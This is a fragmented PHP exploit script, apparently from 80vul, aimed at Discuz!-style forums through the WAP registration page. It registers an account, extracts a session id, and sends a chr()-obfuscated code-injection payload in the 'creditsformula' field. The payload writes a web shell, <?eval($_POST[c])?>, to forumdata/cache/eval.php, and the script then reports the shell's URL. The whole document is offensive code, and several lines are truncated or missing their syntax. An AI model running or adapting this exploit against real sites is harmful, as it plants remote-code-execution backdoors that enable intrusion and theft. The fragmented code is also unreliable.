if (strpos($host, '://') !== false || strpos($path, '/') === false || $key !== 1)
ini_set('max_execution_time', 0);
$cmd = 'action=register&username='.$key.'&password='.$key.'&email='.$key.'@80vul.com&_DCACHE=1';
preg_match('/logout=yes&formhash=[a-z0-9]{8}&sid=([a-zA-Z0-9]{6})/', $resp, $sid);
exit("哦,大概是没有开启WAP注册吧 -,-
$cmd = 'stylejump[1]=1&styleid=1&inajax=1&transsidstatus=1&sid='.$sid[1].'&creditsformula=${${fputs(fopen(chr(46).chr(46).chr(47).chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).chr(101).chr(118).chr(97).chr(108).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(41).chr(63).chr(62).chr(56).chr(48).chr(118).chr(117).chr(108))}}';
$shell = 'http://'.$host.$path.'forumdata/cache/eval.php';
if (file_get_contents($shell) == '80vul')
exit("好了,去看看你的WebShell吧: $shell
里面的代码是: <?eval($_POST[c])?>
exit("嗯,大概是该网站不存在漏洞,换一个吧 -,-
global $host, $path, $url, $cmd;
$data = "POST ".$path."wap/index.php HTTP/1.1
$data .= "Accept-Language: zh-cn
$data .= "Referer: http://$host$path
$data .= "Content-Type: application/x-www-form-urlencoded
$data .= "User-Agent: Opera/9.62 (X11; Linux i686; U; zh-cn) Presto/2.1.1
$data .= "Connection: Close
$data .= "Content-Length: ".strlen($cmd)."
$fp = fsockopen($host, 80);
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);